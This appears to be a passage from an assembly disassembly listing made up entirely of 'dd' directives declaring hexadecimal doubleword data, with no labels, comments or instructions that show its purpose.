dd 0F192335Fh, 1376E721h, 0C3ADDD5h, 68BD1660h, 3B2B30DDh dd 0A457C623h, 9F9FF1FEh, 0C461476Ch, 0C3544BF0h, 82500C2Ch dd 0E9E7A3FDh, 0A875FCD5h, 546295D1h, 0A86A739Ch, 8700512h dd 0D6D97ADh, 0C427B6AFh, 914A8D41h, 0C4FCEA41h, 8C79BE3Dh dd 0A49AEE55h, 0AA72C219h, 696ABD55h, 8192811Dh, 0FD5F5A4Ah dd 2192CACDh, 0EFB35316h, 37FC977Bh, 59C174A5h, 0F2104529h dd 67F5C50Bh, 4D7D3C48h, 0B4C7A047h, 0A24F4064h, 9212DC21h dd 0BE45112Dh, 8E58F17Dh, 0DAE4CA60h, 0FDBAE956h, 581F2688h dd 6BDD4EC2h, 95705CD0h, 0E8C4D1FAh, 964A5779h, 907AFB4Fh dd 64EA811Ch, 6ED8867Dh, 0E42832A5h, 0BCD925CDh, 1773C0B0h dd 0A6D71696h, 76C3EF6Ch, 79831997h, 0A4C1A0F3h, 68E024F6h dd 1CA7939h, 375DEEFBh, 0F5A12FFCh, 22D0799h, 7A730D58h dd 0EBC15FD7h, 0F5C683F4h, 0AE0DF47Ah, 9FE20F6Fh, 3058C325h dd 0BE517EDDh, 39E4BFD7h, 0C2DA9D77h, 0FF364F7Ch, 6F3B1BA0h dd 85FAA4CAh, 22B611BCh, 872D743Ah, 0F05CDCB1h, 37AB1FE2h dd 4C8E1480h, 3DED2606h, 124D4F3h, 0F2F3CD9Dh, 33298316h dd 0E4668A98h, 6F09A456h, 0D14A4ECEh, 36C51074h, 0E13E7230h dd 1E033359h, 0C748333Ah dd 8C6140F1h, 93657F2Ch, 6C7A8A35h, 0F8043DA0h, 7FA30E19h dd 371F8F81h, 27EDE3BFh, 0AE5DA399h, 0D7D0B26Dh, 0F3D337h dd 0DE72EA3Dh, 903288B6h, 0A83E295Ch, 3D26D5BCh, 52E911AAh dd 3AAD6D48h, 0FF4DB435h, 0FAE20240h, 7BCF0AF4h, 29E8A6E3h dd 54193AB9h, 0D6935DBDh, 5F221280h, 0B656BAF3h, 0BDAE942Dh dd 8950E080h, 0F8F6FBB3h, 0F6C4C9E8h, 5E906AEEh, 36C05B94h dd 4DEDF1E7h, 0D67BE8BCh, 85B8E783h, 91754B3Dh, 94407922h dd 0DC3D5EECh, 0B6953F9h, 2676060Fh, 0F313D1ABh, 6E0019ABh dd 67F60C04h, 33DCDBC4h, 9E4E3561h, 3C6288C6h, 0A7B61AEh dd 6D658F6h, 6D91FFB7h, 0A2341235h, 0A3E2EE77h, 20325483h dd 36D467C6h, 4B328502h, 0FC37AA1Eh, 0D4E0C063h, 817A7595h dd 9DBE66FDh, 0DE1D5B88h, 0ADFF44Fh, 580EB735h, 595657B8h dd 0C0C5B98h, 0CCDDBD1Fh, 0BCE8B2FFh, 0CD588BF1h, 41530E16h dd 0D6438972h, 9F9C0D00h, 39814E4Ch, 0CD19B75Dh, 703F44A4h dd 5D540897h, 0AB4765A4h, 610F1424h, 329796E4h, 25E29FD0h dd 0F2B60D8Dh, 0A2BB4B4Fh, 0E3696F2Ah, 0B277F65Fh, 0F4FA2D2h dd 0D06D75C3h, 1BFF8368h, 32B3B395h, 0F3392DE3h, 0C5DE6534h dd 6796A20Ah, 26E9FE90h, 89AC6308h, 0D47872A7h, 0DB056E12h dd 0C8AB25CAh, 0A6F29C2h, 0EBB61C82h, 95220145h, 2266F986h dd 0B07E54D9h, 0ED03366Fh, 56ED1F35h, 3E1D7F5Eh, 0B99C6DC5h dd 0E0F7F4B3h, 95A9D0D5h, 0D4440601h, 54B1D095h, 19580475h dd 0F373DA07h, 4E513156h, 30BBD6F4h, 0B76485F3h, 0F7E11DC0h dd 979EA90Dh, 0A5D3ADE8h, 901D99EAh, 0F90F549Fh, 0B381C5A0h dd 47CC49D2h, 484CC257h, 0E25F799Bh, 0D4597471h, 0B82DA90Ah dd 1C9D669Bh, 0C04AF72Eh, 4305525Fh, 0BD82353Bh, 0DC7D3C2Bh dd 4A5E31B1h, 0D3108DB5h, 0FA5CBF79h, 531CADB7h, 0DABF5F90h dd 0A53B3B7Ah, 8BBA3D6Ah, 4A7E9D0Bh, 48D690A6h, 7E87CACFh dd 0E8D9255Dh, 3D868F01h, 0D351EE99h, 5B735389h, 5C41AEA1h dd 50C7876Fh, 3563F5D0h, 9A444B39h, 0CD17ED84h, 846FC06Fh dd 16DF8C27h, 0A8B5446Fh, 3B3A96F5h, 78D05807h, 894D6E11h dd 49B9149Bh, 0DBA32520h, 0FE90BEA3h, 369C0176h, 543AC9A1h dd 8C0C3EB8h, 0E291D4D4h, 0D6FB18D7h, 72DB8022h, 2011A40h dd 0CDBF864Dh, 86E5EE95h, 0B03E4A01h, 652EF67Ch, 730EFCA8h dd 0D53DE8D6h, 0F5E6452Bh, 0DA506AD3h, 5CF0DCD0h, 580980D8h dd 9219E582h, 0BC8B85C7h, 73E36B41h, 0AF51A539h, 35438DFAh dd 315774ACh, 6542F3A7h, 0B5BD6F16h, 0DA1E8C1Dh, 5D3B480Eh dd 0EBA9541Ah, 0D9E398B0h, 0F7B2CE29h, 0D067B3C7h, 831C9FDCh dd 0C6081F09h, 0C4F53C21h, 68A35458h, 0F5EE61EAh, 192AB2B3h dd 0AE8C6696h, 0E25DF232h, 0A9AA3A7h, 0A384DBDEh, 0A41F75BEh dd 4B612125h, 91D1C981h, 134EB244h, 852EF1h, 99FD62FCh dd 1A352BF7h, 3D6F83D9h, 5903141Bh, 0A16BFE7Fh, 5E055F84h dd 46915074h, 0FEC22343h, 0EBF8DED5h, 6BCD0776h, 0C497B627h dd 0ADB72B28h, 215512F2h, 81D72B97h, 7DCA5E6Ch, 83AC32F2h dd 0B0ABF674h, 0E5633F3Bh, 0D301DDAEh, 9B659C33h, 68BCE083h dd 52FD02C4h, 1346443Ch, 44C7B77Dh, 7523F269h, 4A0E8DF7h dd 0BCD81750h, 0E46A9881h, 50D64491h, 31DD34C6h, 31D8442Eh dd 950B0D62h, 0B7CA212Fh, 34F38F8Ch, 0D8599416h, 0DCB52C18h dd 0A194F232h, 51F826AAh, 0B14CDA53h, 33314311h, 0F0840CAFh dd 0AC66A01Ah, 9BD80158h, 0F3314C7Eh, 6742432Ah, 30F88E8Bh dd 0CF54E5FEh, 5C71FC8Ch, 18955910h, 9CFD1807h, 0B5A92FC8h dd 2DD76306h, 0C6A81217h, 0F73E5576h, 0A8720DFDh, 63550DAFh dd 4889C0F7h, 0ABDA80ECh, 71D4453Ch, 0E3746C62h, 0DF26BB6Ah dd 1DEEB18Bh, 8D62C11h, 5B359205h, 0C38C1A50h, 5F9CAC4Eh dd 5D332C1Bh, 0E6E9ABE7h, 948FA1DBh, 676D90D5h, 5CB4F76Eh dd 3946A65h, 9C7C336Fh, 0CB394115h, 251D212Eh, 771167D7h dd 59E77DB5h, 3E4986C2h, 3F9007D9h, 0A1A62D2Ch, 3A3CC643h dd 0A5E7F436h, 7FF6BE8Fh, 0A8019A1Fh, 0E5754808h, 182F98F4h dd 98FB767Bh, 0FDEC4A41h, 95813E4Eh, 1569326h, 274B1D09h dd 363447C7h, 3CD253E1h, 0CA061F3Fh, 0BE855B08h, 6D3F9688h dd 74F0396Ch, 79E5D73Fh, 93AA6B20h, 0FC3FDA7Fh, 80114100h dd 1A8B2A93h, 1A1C15CEh, 35C5A9B2h, 8C0D92A9h, 0CACF8889h dd 1F10BF42h, 0D05D5FFBh, 2845D7B0h, 0D20417ECh, 45E0A9CCh dd 5B3E0CACh, 0A0DBB4ABh, 0FF78915Dh, 99B448ABh, 906D14BDh dd 8399BA18h, 14BC9DF9h, 4CC66469h, 8C00EEBCh, 3CDC88A0h dd 0E8E6E1E4h, 73FE026Eh, 0BB84B3F9h, 83E8D0D5h, 88F80158h dd 0A88A7C46h, 0AF0DFB27h, 0E3F4D33Bh, 0AD889A53h, 2EBE07C6h dd 0D9C14C66h, 204BE2FFh, 46827683h, 0D2A9BCC3h, 0CA73BA8Ah dd 0A6B6A8A1h, 7CC7CC2Ah, 88986BBAh, 0FB982C82h, 0DAA4E9ADh dd 93CDCAF7h, 0E3C23FDBh, 0DE3DFD1Bh, 0DEDD2F13h, 2AC19D86h dd 1CDF5F32h, 0F39EDA36h, 4D3B2F51h, 0CF3785F7h, 0A7D8EC8Eh dd 6B33DDC6h, 0DA8A4016h, 897D42Eh, 6BEFE8AAh, 718EB623h dd 0C18D033Dh, 9B1C8E19h, 2B671BEEh, 495DC386h, 0DE45C30Bh dd 268FED8Bh, 0B0AD9B15h, 0D449DF99h, 763412D9h, 8200E73Fh dd 22689126h, 0E3C21B98h, 26373CD7h, 76186268h, 977D7F48h dd 3F4C3DD8h, 0AD0C5501h, 83F65711h, 0C6F9179Ah, 14DD3AE2h dd 0DC630B80h, 0E0CDF542h, 1CBB3F38h, 8176DAC1h, 0FBC87C79h dd 2F435D33h, 0A9EE858Ch, 3613F5A0h, 800B6BFDh, 0EE7F182Ah dd 9FAB322h, 0BD0F5A18h, 2548EDEEh, 36F3327Ch, 22EEA47Eh dd 8856E1BCh, 69F6F4C5h, 6BB54EABh, 94089933h, 0CBCB0DEDh dd 88DFDE78h, 6BDD90B9h, 279954BEh, 0C030507Bh, 0C08E30FDh dd 43A76FD7h, 9713ABF4h, 91EC2533h, 120B223Ah, 2BDD25ADh dd 0A31C0723h, 4C16AAEAh, 93655A05h, 0DE9F9E13h, 699F6D0Fh dd 0E46F26B0h, 7C615F71h, 9EF4B6CDh, 74E0D46h, 0D6AB4745h dd 1CC9B218h, 0FE1A926Dh, 3445C6ADh, 6A39A0B7h, 0A0E2F59h dd 0F3218404h, 66702CEAh, 27553E6Fh, 0F9124602h, 6D94F852h dd 98022D46h, 0A3EEFD73h, 0C11D9E52h, 154A1B5Ah, 0F91778B0h dd 940553FAh, 5F4D5938h, 2A8A426Ch, 5C9A188h, 7F60CC83h dd 7CABB30Dh, 777AD107h, 0F263FF03h, 0EFD679D2h, 0A1576AE4h dd 0C3A07CB8h, 0A764013Dh, 0B9134BD6h, 0E5652076h, 0CCA234E0h dd 9FD54510h, 50DC7FB7h, 89E48B07h, 25DD39F9h, 0CEEF09B3h dd 3B0C5994h, 70CC24D6h, 4537F85Bh, 4CD620CDh, 160D89C4h dd 93803589h, 0C74C3461h, 4147E37Dh, 15F10DBh, 35871642h dd 46DA1426h, 0FFB27406h, 4489BD04h, 1BEB3CC0h, 933E23A8h dd 4FC1A103h, 0B918C715h, 0D37E1FFAh, 0B68D6995h, 6EDEC0D1h dd 209FD94Dh, 1A4C9ACAh, 1508D2CEh, 0EAE09166h, 2CEA3935h dd 0A40C02DFh, 301C0D46h, 5E7A518Bh, 37AF5476h, 407B0F8Fh dd 2545704Ch, 42F84F73h, 4EB55B14h, 0A6F2A88Eh, 2AB3A077h dd 4488EEC7h, 0F3863C24h, 0AE38D074h, 8FA828h, 2520C14Ch dd 0AD5465A3h, 0FDC50832h, 0F275290h, 1271077Ch, 89E1B1BBh dd 0D8684ACCh, 0ACEF28B3h, 44DDC615h, 1269FA35h, 799B18Dh dd 8B635750h, 0C80D43E1h, 0F3C79DABh, 1113F4E7h, 0DA95EBBEh dd 41AFEBB1h, 0DB51439h, 0C67CD577h, 5B2AE631h, 8D47F158h dd 0DB7C9F4Dh, 0B54D5D47h dd 0DAD3EFDAh, 5B7507A2h, 2A119F85h, 0CC1FB242h, 6EF5274h dd 0F116CE18h, 2A4788ADh, 70458BFCh, 0F46BA878h, 0C96F2214h dd 9120F75Dh, 85485E5Fh, 0E861B874h, 0CC93F99Eh, 90031A7h dd 6F4277D4h, 52A6A944h, 0A1344457h, 63972788h, 84796A09h dd 0EF4DD7AAh, 0B22B7DECh, 55A492F4h, 0CB1C01CBh, 618EBE7h dd 709B9375h, 1A35265Ch, 72C1A11Bh, 0AEAF2E42h, 8D6B7A82h dd 28DDC3E6h, 764FDCE8h, 21D90AD3h, 0C5D8E37Dh, 60ED7A49h dd 8AFF779Dh, 8AA3EE09h, 98E7955Fh, 0E96FF895h, 0E5662448h dd 0A0612978h, 0DCC8E5B6h, 0B132B522h, 0E8496B57h, 0AE160A0Fh dd 4F5F366Eh, 7A875460h, 0C74F2DA5h, 4D12B758h, 23000D95h dd 2B6413D4h, 9B25E268h, 7985932Dh, 0F325552Fh, 7B616C7Ch dd 0B507D4F1h, 0F2F397FAh, 0EEA6C83Dh, 806F5F23h, 7231D61Dh dd 0EA0B9708h, 5B534571h, 93BF0816h, 0E035B83Dh, 0EF1E504Eh dd 0CC875A17h, 17DEDA87h, 3724389Fh, 94445387h, 0D879E2EEh dd 3D18200Ah, 0EC4CFEFDh, 3CD036EFh, 0A2CA1BDCh, 528279D0h dd 4EBCD329h, 0D3123BA2h, 583E6A12h, 95C30DB9h, 70FC0899h dd 21C68ABBh, 0CD32038h, 0ADBC91A5h, 0D2D01D5h, 15147593h dd 288AF154h, 6DE52073h, 1B7A7E98h, 9617801Eh, 0DC47E8BAh dd 4B66449Ah, 0BA67ABDh, 3DF072D1h, 2332DB28h, 1A27A174h dd 426BA09h, 0C1385C49h, 888FD55Bh, 12907F4Ch, 0B88E2B44h dd 33E533E6h, 0C7B347A1h, 0A2C5BBE7h, 8A3DA759h, 0DB7EB633h dd 0C8D0083Ch, 22636B21h, 0E2FED544h, 0A0DF2842h, 3A473E26h dd 91FF5112h, 79E53024h, 0DD48347Bh, 3BAEFB9Bh, 75147C88h dd 0C8FB8039h, 300494F1h, 1AA8CD87h, 6BDA63BEh, 7449F4BCh dd 5276E5B6h, 86A35DE7h, 4EBAA2AAh, 389AF69h, 8F5E0294h dd 4D2F93Ch, 0BEB82BB9h, 0BBAE0634h, 300FC2D4h, 0EC2C6E22h dd 1F51CFBAh, 0EC51FCFCh, 36CC4D1Ch, 97B24AAEh, 0B0B2A35Ah dd 72F66B39h, 0F7B439CEh, 13D761A0h, 0D243B8C0h, 0B8C10EEh dd 3BF3146h, 2B4BC972h, 0C1EA17EBh, 0BB2C5C9Bh, 9D2D391Fh dd 81563E4Dh, 0C578E5B9h, 3B6F3272h, 135705AEh, 6FADC598h dd 0E55A5C0Bh, 4E4AE72Ah, 15F00561h, 0D10AB3EDh, 5AB04658h dd 0C324A443h, 8C79FB7Dh, 1E364F05h, 3341B0FDh, 7C8DD67Ch dd 691F6C90h, 40C3CF44h, 0C3A2766Ah, 0A8F0FE67h, 1B9747A1h dd 75929F4Dh, 187D43A5h, 3AE1E3A8h, 0DD16D79Dh, 0D9F4F4B3h dd 9FCE2ACFh, 7B8F00F3h, 0A9A4DCC3h, 2907EF7Eh, 0D244955Dh dd 5B8FAB81h, 0DAB4B32Dh, 0C6328AACh, 1D05D0BDh, 5BB02306h dd 2C69DCEh, 4AE37944h, 9C5811C9h, 0D30DF4D9h, 255D1133h dd 0E93B6496h, 624271AAh, 613FBE7Eh, 0A5D903B1h, 489E41F1h dd 1AC3B702h, 3C671892h, 4C1F490Ah, 567838D7h, 8333A01Eh dd 45C8F9F2h, 3BBEC0Ah, 0FEEC5034h, 89FEBD6Bh, 0B633894h dd 19D70935h, 0D69CF892h, 0E2525A7h, 0BCB97EEAh, 3D5C8514h dd 0A76760D3h, 7CE60C8h, 0C8E8BDCEh, 0EF509F52h, 93CE8008h dd 0A8871BE1h, 0B35E9A1Ch, 5868E512h, 0BAD0ECD6h, 8A303D57h dd 9F697A82h, 0EBD27F9Bh, 2DF3C4F5h, 7F948398h, 0C3209E85h dd 62BA1Ah, 0EB20C9E9h, 0B9EAD3EDh, 4A32CF91h, 0CB61CB2Ah dd 4B7DB55Fh, 0E3AAAC99h, 0BF453E67h, 5C662A11h, 0DD56661Bh dd 0C3E64492h, 1A2E1CFh, 9BDC6B88h, 59723D70h, 0B4F8AB4Fh dd 0E1364B47h, 0F0A95043h, 0AA205EA8h, 0FFC781DFh, 0E5AF9BB6h dd 0F620EB6h, 9782A336h, 0C2B0FCA3h, 0D437312Bh, 29C01ED8h dd 64AA9F3Eh, 77F85BE3h, 436411CDh, 0E4407E20h, 76D4472Ah dd 3392BAF6h, 9DC031h, 185F2AFFh, 9F9A2628h, 0BF9788BDh dd 1E93524Bh, 2F45DD53h, 6038B952h, 81F34553h, 78235367h dd 307B01D9h, 81E4DD83h, 0AC8299Ch, 42D7F579h, 0CDA64386h dd 0D30E743Fh, 39BB5D5Ah, 0C2950FE0h, 55F487CFh, 51C83958h dd 0F0C4B510h, 9ABC5D19h, 0DE2AE6D3h, 0CA7C5515h, 0E1F56A1Ch dd 0A8B0D8C9h, 4211C355h, 5E8375DFh, 902794D3h, 0CC335052h dd 0D92F0228h, 0D0FA1DFh, 1D8ED9BBh, 4B35BA0Eh, 384CD015h dd 1CA3F188h, 2560ECEAh, 39A380F5h, 0C38D74A1h, 0D682446Ah dd 45BDDC46h, 55E8571Ch, 95F1B242h, 74E7CCFAh, 0E81B3FA7h dd 5BDEBD47h, 0D4D312C6h, 0EB4A57B5h, 9F3C3F8Dh, 95A6FC70h dd 4BD0819Fh, 3F98B3DAh, 0D52CC5Fh, 3FC386F8h, 0C50EF9B2h dd 0C5D1990h, 8C74899Bh, 8ED528D9h, 40C79CBDh, 0F6155E4Bh dd 1EF7A852h, 248649C5h, 0E8A11A54h, 18C84839h, 0F13B471Bh dd 0D5F8E003h, 2635A92Ah, 0B96D5B3Fh, 6E32384Ch, 0E52DC203h dd 0E60529A6h, 0FCC131C8h, 0AE241EF4h, 0E0BD2243h, 0A6804BECh dd 0FDBE1072h, 0A8CC0A6Bh, 4766A49Eh, 2FF8172Dh, 2E50EE82h dd 0E877667Fh, 0B52C300Dh, 0FB71021Bh, 0B3177BCBh, 586BEF6Fh dd 6E4DA32Ah, 5A721769h, 9E299BAFh, 0F7FAA478h, 0F46CCAEh dd 8A506FB8h, 4F579A8Fh, 0C3104E3Ch, 228BA7A6h, 0AB87AE27h dd 92C92A33h, 0B8780F49h, 150977F5h, 0A5104309h, 0AB028962h dd 4EA8B4F4h, 912E39A6h, 1F6DEC7Fh, 0E1970C41h, 6D21BE0Dh dd 9E5A1CCEh, 575050B8h, 0C862EE99h, 0DE0E0ABh, 703B2621h dd 2067470h, 97DA5571h, 0B888FA02h, 0AB421638h, 7E1CDE83h dd 0E00234FEh, 0CAFB6858h, 0AE79B197h, 0B16309FFh, 26306551h dd 66452075h, 0E41FC436h, 0D3D272B2h, 3B84D46Fh, 215DD668h dd 28AD27FAh, 9A66281Eh, 0EA746C04h, 0FEA713EEh, 0AE630C46h dd 193E674Fh, 5CDC925Fh, 644778CEh, 0A42BFE08h, 33D78374h dd 8D9CB524h, 9CDAAA37h, 46B17C39h, 76484CCCh, 0B253F03Eh dd 44202116h, 8B451DF4h, 1FB0788h, 3FDEE3AFh, 0FC65923Bh dd 0CD867CE7h, 76F1DB74h, 817AA2ADh, 0EF1DB833h, 0BD03B80Eh dd 0FB758F6Eh, 6150F2B6h, 0BA39AB2h, 0C76BBB10h, 0C5172CC3h dd 0B6DA6303h, 93E07F1Dh, 2128BA85h, 21591D8Eh, 0CEA9E7Bh dd 9FF10C9Bh, 507AADFCh, 0D9C2EB13h, 23CFA2EEh, 87B1F4Bh dd 0E80DCD79h, 0A031B39Dh, 0DBF7A6B0h, 483905FBh, 720CCF71h dd 0F49AD8D7h, 40B2C0A3h, 0AA84C804h, 0C3885821h, 9ACE5745h dd 0CD1CA7D6h, 623928FEh, 506126FEh, 302E53A7h, 34C9A8DEh dd 2F4776D2h, 0B478330Bh, 3EE0F043h, 4F9BB2ADh, 0AC46036h dd 6C311A93h, 0D6C34339h, 76BA5959h, 39C16926h, 70A8C268h dd 9FD35CBEh, 6E8C4C63h, 0D1FEF114h, 0A7940FFFh, 0A0775B4Ch dd 0CB2F5A98h, 551DB568h, 343FBF65h, 716F7C20h, 5F31F0E7h dd 0BCB16BBBh, 4AE5B851h, 4CAFC5DFh, 22781768h, 0BB3C6955h dd 0C57F33EAh, 5AF72217h, 7D272045h, 0AD48BDFFh, 4158051Fh dd 0CF51B6E6h, 5338E1F8h, 0A46FCBD8h, 0F81A25B6h, 0AB3B7ACEh dd 0D9B1C78Ch, 386DF164h, 0DDA4DF43h, 0A421388Ch, 524F61B0h dd 0AC4A98F1h, 0D0D34558h, 0E4FAFE22h, 68A720B9h, 3F19EE33h dd 71D07004h, 0D67BFC9Eh, 0D919AB90h, 6A1452FDh, 0BE367F14h dd 45B98943h, 3247359Fh, 48F310DFh, 140C9773h, 93744D6Bh dd 0AE9EB213h, 6021E2C0h, 8D4BA1F0h, 794CABFCh, 4339BA12h dd 0A9DEA5F6h, 966965F6h, 747259BCh, 0BD3E949Eh, 8AD5E5Fh dd 900D8BD4h, 0F3C38A13h, 1DDF8E57h, 5875EA6Bh, 410FC7F8h dd 52B0C346h, 87FE6331h, 0D7B00664h, 0A42352CCh, 1093F292h dd 259C45Ah, 45E26598h, 81B7C8EBh, 5CF8AC58h, 2714E1E0h dd 0C8C508Ah, 4D78ABEBh dd 8210DCA5h, 0D84D3430h, 0C5FD588Ch, 0D4DDC120h, 46BDD85Ah dd 4BAABE12h, 0B66667EBh, 0BEA1EB3Eh, 36B781AEh, 0DC504457h dd 2EEF9D6h, 63D679A1h, 428CAF7Fh, 0DF16FB17h, 7FA5DAFBh dd 15FC35BCh, 564E7035h, 8ED59F01h, 0A0B4BA9Bh, 843B0C3Ah dd 0DEEE0837h, 0C3B07218h, 5521C8F6h, 1C2B88B0h, 993F12C5h dd 0F075CEB4h, 3633D0D5h, 513F6FABh, 20F5ADA5h, 0AB060057h dd 0DD1DE592h, 3026F0E0h, 0FD640FCCh, 6302F627h, 0EF736924h dd 56C728AFh, 87DF2B32h, 142E31EBh, 6E0E2A2h, 0A9067370h dd 0AB246837h, 0FD9FD22Fh, 0D0AE190Bh, 0B8D9D881h, 0D0071978h dd 0A677FB72h, 0D79C09CEh, 3B607C46h, 0D56CE4C4h, 82F4CA08h dd 0DEBE671Bh, 8D61A289h, 1C08B50Ch, 0DFAE83E4h, 0CB3A1A46h dd 86DCA61Bh, 0AE53B4D3h, 0CDF314C0h, 177CAD6Eh, 0B8B8F38Ch dd 0B947A6D6h, 4B2C4ACEh, 7CBB82D8h, 5E6B2D0Fh, 7483E9D9h dd 626C4B50h, 0D24B7E11h, 5179FDF8h, 1EC82661h, 8A54B838h dd 62ACFCB3h, 8A11E60Eh, 703FFB72h, 5BC7425Ch, 2F65595Ch dd 0E9FB569Ch, 0AABF078Fh, 330E334Ch, 9B62C96Ah, 0D8C58C9Fh dd 0A2776958h, 0DD55ADB7h, 304305F0h, 1D75C93Eh, 64ACBABEh dd 0AB923193h, 0C718B709h, 67F2BB1Ah, 0ADD4F662h, 0D1FD29B1h dd 0B4EFB71Ch, 0B69591CCh, 29DEA8E8h, 0B4D1587Ah, 2A051700h dd 17A1BD85h, 0DD2C53CDh, 85AE1562h, 0A85EAC41h, 0D70AC17Dh dd 0B64D793Eh, 744C1B76h, 0F4181473h, 0C4D502E1h, 77E015BCh dd 3BB1B224h, 78155261h, 81CADBh, 1F29F0FDh, 45D7D9D1h dd 55E6B091h, 0E7DAD75Dh, 3029919h, 0AB9FE990h, 0A338F6B7h dd 99DD532Dh, 5F8BBB9Ah, 0F1C90B2Bh, 88280B0Ch, 7FDE3DE7h dd 2DC7209Eh, 1C0D2366h, 7CAE7BCFh, 261FF0F7h, 8CE5F65Ch dd 258EFAF2h, 0D2A180B8h, 2C1BB538h, 0D96FA6AFh, 17069F3Ch dd 31D601B3h, 5EE14236h, 31F5D2D4h, 26DBA9BEh, 26AE45BAh dd 0C67BFDBh, 0A4C36D83h, 1EC619A4h, 0DC67C8ADh, 0E2FF904Ch dd 5D995EEEh, 45F5B3C3h, 4050B791h, 0DFCEF6E0h, 0D67B8004h dd 3CF905B7h, 2D72A544h, 0BA6BC8F1h, 81743D5Fh, 0FE4D4238h dd 0D42EF89Eh, 0A09530CAh, 248794CAh, 0ECCA5C72h, 50260D2Bh dd 84A07B98h, 8ACD74F1h, 7B4F56CDh, 0CA1B3875h, 0A995C3C8h dd 0AD5C9749h, 63B07A17h, 0B4F47978h, 41DAE88Ch, 0CB6A9C05h dd 6D6E38B2h, 17613CC8h, 0F0B58066h, 24CFBB2Ah, 15F42131h dd 899D8D6Dh, 7D24B4F3h, 41C68AC5h, 38EE785Bh, 0D89D7F20h dd 0BD3A443Ah, 0E2D650E0h, 92D9A3CFh, 0E6C20380h, 181A45D6h dd 5562501h, 9AA62A62h, 0CE28492Ah, 0C6ED21C3h, 73ABCA44h dd 2F1334h, 0B1B246E6h, 601B7E91h, 7D11B859h, 225C993Fh dd 0B81C35EBh, 9B7BF4C5h, 7097C889h, 3496223Ch, 0E22CE4B4h dd 0A7CE4925h, 0FDC86888h, 0F1A708C0h, 448B5C5Ah, 0C10D039Ah dd 48BA729Eh, 61FEE38h, 88130908h, 9617D7AAh, 787D89C1h dd 0C1234D9h, 67C3AD8Ch, 83856531h, 6CAC45DAh, 779E7723h dd 0DA364360h, 5363BBAFh, 0BED2AF49h, 15E46D1Ch, 55F35C5Ah dd 0E931FBA5h, 0C0400C0Bh, 0D2480161h, 8811861Dh, 3BD83B2Fh dd 6064CBF6h, 0DF10C8AEh, 0F3CF754Fh, 7EACDB83h, 6E5B70EEh dd 0D76DCFB5h, 0E0DC2552h, 161545E9h, 17035BA4h, 3ED56711h dd 0E654644Bh, 6CB3F68Ch, 0E402BEABh, 83D2593h, 6C0F3970h dd 82DE6F3h, 29BBC162h, 2F69BFB1h, 1A9139E9h, 823E10ABh dd 0ACD85815h, 0F5A9C6E7h, 4D167302h, 925E07C8h, 1BD44BA4h dd 0E5DB36FEh, 7AA7FA52h, 627E9145h, 0AAE7CEEEh, 22F43D0Eh dd 0CBFC32FEh, 8A16D958h, 0D197E229h, 365C6C37h, 236F2305h dd 16147DAh, 3FF2C981h, 75DB75DCh, 0C0B81E72h, 53A07C92h dd 0A30EFAAEh, 118A74D6h, 0FD4C6522h, 804B8FBAh, 7024C501h dd 0C6CADB62h, 74A23052h, 2172BFB5h, 7E6A9B44h, 6461B538h dd 99F842AEh, 55BF7019h, 0BE451E8Dh, 0F5BC6506h, 0D548C724h dd 14C4136Eh, 864D534Bh, 110764ABh, 7219FC46h, 0CAB76004h dd 22CA2C69h, 0DFFF476Ch, 0BB3DEAD2h, 7115561Bh, 0FE381AFAh dd 0AA8408BEh, 67166E4Ah, 671E3C72h, 0F21621A6h, 0F43C724Ch dd 0CB7F2045h, 0C4DA62AFh, 96A70F64h, 90D7A40Dh, 8F25B032h dd 185A83F8h, 0C1C8BE8Ch, 2AB64264h, 4797EE05h, 0EA9606E0h dd 8917133Dh, 532857F3h, 8C751450h, 130F54BBh, 0EE3273FFh dd 0EF6C6BE6h, 45698877h, 0EB578526h, 29221E20h, 64A0C204h dd 0B89A7CE8h, 0A84AFB2Fh, 81D5B015h, 28166FCh, 1B3B35C7h dd 56B3BEBFh, 0C0CDDF13h, 0A12FB754h, 23602BE0h, 6294AC02h dd 8A9498EFh, 882F7E2Ch, 9DC154ADh, 8F6B8C94h, 0CFCA4F60h dd 9B64F7D9h, 35C97819h, 7F96B308h, 0AD1D0E43h, 315DFCD2h dd 9F35A4CEh, 0B9B10A1Dh, 0F1453D25h, 45C8572Fh, 0BBABB22Dh dd 5F2EADC1h, 142A26Ch, 8EA1ED5Dh, 6C913BCDh, 0ECF2897Dh dd 9EDACCF6h, 8379B78Eh, 0A644EBE7h, 0F4328305h, 382CF7A0h dd 0CA1A24EDh, 9D41E738h, 0F0D714BBh, 47DA1E51h, 23D5A3C8h dd 0F89DCD57h, 321FE7DDh, 0A431F31Dh, 68C02930h, 0EDFA0E94h dd 0AA45DA03h, 0B39ECE9Bh, 6ADF105Bh, 249956B6h, 67FCFA2Dh dd 87A533DDh, 0D56C86BAh, 0CDFF7CF1h, 0DE417AB2h, 301B5C09h dd 0D4E3F59Fh, 4A21E3Eh, 0EDEA46A0h, 0B675AF15h, 2E7AC8DCh dd 0C15EDE87h, 4A5A4F0Ch, 3D13DE5Eh, 0BE2481D4h, 81CD30E9h dd 49FB2B75h, 0DBA88EB7h, 82D2DE1h, 6992FEDAh, 49ABED9Dh dd 8E8C219Eh, 0D81C9AA6h, 0E295D3F8h, 41EF4304h, 0DC49FE5Ah dd 0B2A5D049h, 0C5E20A29h, 0D8C3FDC3h, 7F547A07h, 177FE5A1h dd 9B93E0ACh, 7669EFAh, 86F6B00Eh, 8AC38BEAh, 0DA85F4E0h dd 7B8013B6h, 0E5189A4Fh, 0ACFE0D8h, 8674A1AAh, 61328B75h dd 0BE51DF11h, 76BFA2A0h, 0F170FC52h, 0F220D6EBh, 0B25C47Fh dd 6D6D7527h, 0F46A6D7Eh, 50A9A659h, 0A9E026EFh, 8349835Fh dd 0B76C7A38h, 41929D25h, 15C47A72h, 0B321D48Fh, 16C2B15h dd 843B932Eh, 89F16932h, 504BE1F0h, 13B3C709h, 0DE2BC532h dd 9223D00Eh, 42C28286h, 0A9EB10F8h, 8464E966h, 0EB6A25A2h dd 0ABEA5C12h, 6FFB2762h, 5FFDF0F4h, 928D75F7h, 6B1DE99Bh dd 1CC25C79h, 90727F6Fh, 0F0B3332Dh, 785C062h, 221652C3h dd 0FEE7131Dh, 19B68694h, 353F8F6Ch, 66190F3Fh, 210BE932h dd 0C25C4C88h, 0DD507E8Ch, 87AEFEC2h, 141D76Dh, 974D0C89h dd 0D73BFDB0h, 29DBAB8Dh, 5A22BC19h, 9B0888E0h, 0B795D416h dd 7C2A5CF8h, 7E4F3F8Dh, 0B506E37Dh, 0EB323A1h, 3772706Ch dd 0B01B53F1h, 3F20A2EAh, 4E8AC777h, 9700A687h, 2613DA0Fh dd 28CF0D36h, 0D28B965Fh, 